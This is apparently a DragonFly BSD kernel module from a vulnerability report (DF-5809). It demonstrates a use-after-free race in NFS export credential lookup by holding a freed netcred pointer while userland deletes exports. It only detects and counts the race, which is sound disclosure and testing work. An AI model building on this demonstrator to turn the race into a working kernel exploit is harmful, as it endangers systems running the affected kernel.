DF-5809 / ncrace.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 | /* * DF-5809 rig: netcred lifetime race demonstrator. * * vfs_export_lookup() (sys/kern/vfs_subr.c:2297) returns a struct netcred* * after releasing NE_LOCK. Every VFS_CHECKEXP caller (ufs_vfsops.c:250, * tmpfs, hammer2, ...) then reads np->netc_exflags and keeps * &np->netc_anon across the whole NFS request. vfs_export() with * MNT_DELEXPORT frees those netcreds (vfs_free_addrlist -> kfree). * * This module holds a looked-up netcred exactly the way the NFS server * does (across a sleep) while root userland hammers * mountctl(MOUNTCTL_SET_EXPORT, DELEXPORT|EXPORTED) with alternating * ex_flags markers. If the held pointer's content changes under us, the * memory was freed/reused mid-hold: use-after-free by construction. * * sysctl debug.ncrace_run=1 start/stop the looker thread * sysctl debug.ncrace_stat counters */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/sysctl.h> #include <sys/mount.h> #include <sys/proc.h> #include <sys/thread.h> #include <sys/kthread.h> #include <sys/socket.h> #include <sys/malloc.h> #include <sys/errno.h> #include <netinet/in.h> #include "tmpfs.h" static struct thread *looker_td; static volatile int run_flag; static u_long n_lookups, n_holds, n_hits; static int find_mount_cb(struct mount *mp, void *data) { struct mount **out = data; if (strcmp(mp->mnt_stat.f_mntonname, "/mnt/t") == 0) { *out = mp; return (1); } return (0); } static void looker_thread(void *arg) { struct mount *mp = arg; struct tmpfs_mount *tmp = (struct tmpfs_mount *)mp->mnt_data; struct netexport *nep = &tmp->tm_export; struct sockaddr_in sin; struct netcred *np; memset(&sin, 0, sizeof(sin)); sin.sin_len = sizeof(sin); sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl(0x7f000001); kprintf("ncrace: looker started mp=%p nep=%p\n", mp, nep); while (run_flag) { np = vfs_export_lookup(mp, nep, (struct sockaddr *)&sin); n_lookups++; if (np && np != &nep->ne_defexported) { /* * Exactly what the NFS server does: hold the * returned netcred across the request. */ u_long e1 = np->netc_exflags; u_long e2; struct ucred *anon1 = &np->netc_anon; tsleep(&run_flag, 0, "ncrhold", 1); e2 = np->netc_exflags; n_holds++; if (e1 != e2 || anon1->cr_uid != np->netc_anon.cr_uid) { n_hits++; if (n_hits <= 10) kprintf("ncrace: UAF-use #%lu: " "np=%p exflags %lx->%lx " "anonuid %d->%d\n", n_hits, np, e1, e2, (int)anon1->cr_uid, (int)np->netc_anon.cr_uid); } } else { tsleep(&n_lookups, 0, "ncridle", 1); } } kprintf("ncrace: looker exiting: lookups=%lu holds=%lu hits=%lu\n", n_lookups, n_holds, n_hits); wakeup(&looker_td); kthread_exit(); } static int sysctl_ncrace_run(SYSCTL_HANDLER_ARGS) { int error, val = run_flag; error = sysctl_handle_int(oidp, &val, 0, req); if (error || req->newptr == NULL) return (error); if (val == run_flag) return (0); if (val) { struct mount *mp = NULL; mountlist_scan(find_mount_cb, &mp, MNTSCAN_FORWARD | MNTSCAN_NOBUSY); if (mp == NULL) { kprintf("ncrace: /mnt/t not mounted\n"); return (ENOENT); } run_flag = 1; n_lookups = n_holds = n_hits = 0; error = kthread_create(looker_thread, mp, &looker_td, "ncrace-looker"); if (error) { run_flag = 0; return (error); } } else { run_flag = 0; wakeup(&run_flag); tsleep(&looker_td, 0, "ncrstop", hz * 5); } return (0); } static int sysctl_ncrace_stat(SYSCTL_HANDLER_ARGS) { char buf[128]; int error; ksnprintf(buf, sizeof(buf), "lookups=%lu holds=%lu hits=%lu", n_lookups, n_holds, n_hits); error = SYSCTL_OUT(req, buf, strlen(buf) + 1); return (error); } static SYSCTL_NODE(_debug, OID_AUTO, ncrace, CTLFLAG_RW, 0, "ncrace"); SYSCTL_PROC(_debug_ncrace, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, sysctl_ncrace_run, "I", "start/stop race looker"); SYSCTL_PROC(_debug_ncrace, OID_AUTO, stat, CTLTYPE_STRING | CTLFLAG_RD, 0, 0, sysctl_ncrace_stat, "A", "race counters"); static int ncrace_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("ncrace: loaded\n"); return (0); case MOD_UNLOAD: if (run_flag) { run_flag = 0; wakeup(&run_flag); tsleep(&looker_td, 0, "ncrstop", hz * 5); } kprintf("ncrace: unloaded\n"); return (0); } return (EOPNOTSUPP); } static moduledata_t ncrace_mod = { "ncrace", ncrace_modevent, 0 }; DECLARE_MODULE(ncrace, ncrace_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |